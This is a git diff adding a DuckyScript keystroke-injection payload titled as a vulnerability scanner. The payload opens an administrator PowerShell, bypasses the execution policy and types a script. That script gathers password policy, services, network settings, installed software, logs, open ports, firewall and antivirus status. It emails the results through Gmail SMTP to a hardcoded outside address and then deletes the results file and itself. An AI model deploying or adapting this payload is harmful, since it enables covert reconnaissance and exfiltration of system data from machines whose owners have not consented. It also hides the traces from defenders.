diff --git a/3.0.VulnerabilityScanner b/3.0.VulnerabilityScanner new file mode 100644 index 0000000..ab6c5a2 --- /dev/null +++ b/3.0.VulnerabilityScanner @@ -0,0 +1,348 @@ +REM script in progress +DELAY 5000 +REM Open Start Menu +CONTROL ESCAPE +DELAY 3000 +STRING powershell +DELAY 3000 +REM Navigate to the context menu to run PowerShell as an administrator +DOWNARROW +DELAY 1500 +RIGHTARROW +DELAY 1500 +DOWNARROW +DELAY 1500 +DOWNARROW +DELAY 1500 +ENTER +DELAY 5000 +ALT Y +DELAY 5000 +REM Set PowerShell Execution Policy to Bypass +DELAY 500 +STRING Set-ExecutionPolicy Bypass -Scope Process -Force +DELAY 500 +ENTER +DELAY 500 +REM Create the PowerShell script in memory and execute it +DELAY 500 +STRING $securePassword = ConvertTo-SecureString 'YourAppSpecificPassword' -AsPlainText -Force +DELAY 500 +ENTER +DELAY 500 +STRING $credential = New-Object System.Management.Automation.PSCredential ('igrowsc@gmail.com', $securePassword) +DELAY 500 +ENTER +DELAY 500 +STRING $script = { +DELAY 500 +ENTER +DELAY 500 +STRING function Check-PasswordPolicy { +DELAY 500 +ENTER +DELAY 500 +STRING net accounts +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Audit-Services { +DELAY 500 +ENTER +DELAY 500 +STRING Get-Service | Select-Object Name, DisplayName, Status, StartType +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-NetworkSettings { +DELAY 500 +ENTER +DELAY 500 +STRING Get-NetIPConfiguration +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-SoftwareVulnerabilities { +DELAY 500 +ENTER +DELAY 500 +STRING Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-CVE { +DELAY 500 +ENTER +DELAY 500 +STRING param ( +DELAY 500 +ENTER +DELAY 500 +STRING [string]$productName, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$version +DELAY 500 +ENTER +DELAY 500 +STRING ) +DELAY 500 +ENTER +DELAY 500 +STRING $uri = "https://services.nvd.nist.gov/rest/json/cves/1.0?keyword=$productName+$version" +DELAY 500 +ENTER +DELAY 500 +STRING Start-Sleep -Seconds 5 +DELAY 500 +ENTER +DELAY 500 +STRING $response = Invoke-RestMethod -Uri $uri -Method Get +DELAY 500 +ENTER +DELAY 500 +STRING if ($response.totalResults -gt 0) { +DELAY 500 +ENTER +DELAY 500 +STRING foreach ($cve in $response.result.CVE_Items) { +DELAY 500 +ENTER +DELAY 500 +STRING "$($cve.cve.CVE_data_meta.ID) - $($cve.cve.description.description_data[0].value)" +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING } else { +DELAY 500 +ENTER +DELAY 500 +STRING "No CVEs found for $productName $version" +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Analyze-Logs { +DELAY 500 +ENTER +DELAY 500 +STRING Get-EventLog -LogName System -Newest 100 +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-OpenPorts { +DELAY 500 +ENTER +DELAY 500 +STRING netstat -an +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-MissingUpdates { +DELAY 500 +ENTER +DELAY 500 +STRING Get-WindowsUpdateLog +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-FirewallStatus { +DELAY 500 +ENTER +DELAY 500 +STRING netsh advfirewall show allprofiles +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-SMBv1Status { +DELAY 500 +ENTER +DELAY 500 +STRING Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Check-AntivirusStatus { +DELAY 500 +ENTER +DELAY 500 +STRING Get-MpComputerStatus +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING function Send-EmailAndCleanup { +DELAY 500 +ENTER +DELAY 500 +STRING param ( +DELAY 500 +ENTER +DELAY 500 +STRING [string]$smtpServer, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$smtpFrom, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$smtpTo, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$messageSubject, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$messageBody, +DELAY 500 +ENTER +DELAY 500 +STRING [string]$attachmentPath, +DELAY 500 +ENTER +DELAY 500 +STRING [System.Management.Automation.PSCredential]$credential +DELAY 500 +ENTER +DELAY 500 +STRING ) +DELAY 500 +ENTER +DELAY 500 +STRING $smtp = New-Object Net.Mail.SmtpClient($smtpServer) +DELAY 500 +ENTER +DELAY 500 +STRING $smtp.Credentials = $credential +DELAY 500 +ENTER +DELAY 500 +STRING $smtp.EnableSsl = $true +DELAY 500 +ENTER +DELAY 500 +STRING $smtp.Send($smtpFrom, $smtpTo, $messageSubject, $messageBody + (Get-Content -Path $attachmentPath -Raw)) +DELAY 500 +ENTER +DELAY 500 +STRING Remove-Item -Path $attachmentPath +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING Check-PasswordPolicy > results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Audit-Services >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-NetworkSettings >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-SoftwareVulnerabilities >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Analyze-Logs >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-OpenPorts >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-MissingUpdates >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-FirewallStatus >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-SMBv1Status >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Check-AntivirusStatus >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | ForEach-Object { Check-CVE -productName $_.DisplayName -version $_.DisplayVersion } >> results.txt +DELAY 500 +ENTER +DELAY 500 +STRING Send-EmailAndCleanup -smtpServer "smtp.gmail.com" -smtpFrom "igrowsc@gmail.com" -smtpTo "igrowsc@gmail.com" -messageSubject "Vulnerability Scan Results" -messageBody "Attached are the results of the vulnerability scan." -attachmentPath "results.txt" -credential $credential +DELAY 500 +ENTER +DELAY 500 +STRING Remove-Item -Path $MyInvocation.MyCommand.Path +DELAY 500 +ENTER +DELAY 500 +STRING } +DELAY 500 +ENTER +DELAY 500 +STRING Invoke-Command -ScriptBlock $script +DELAY 500 +ENTER +DELAY 20000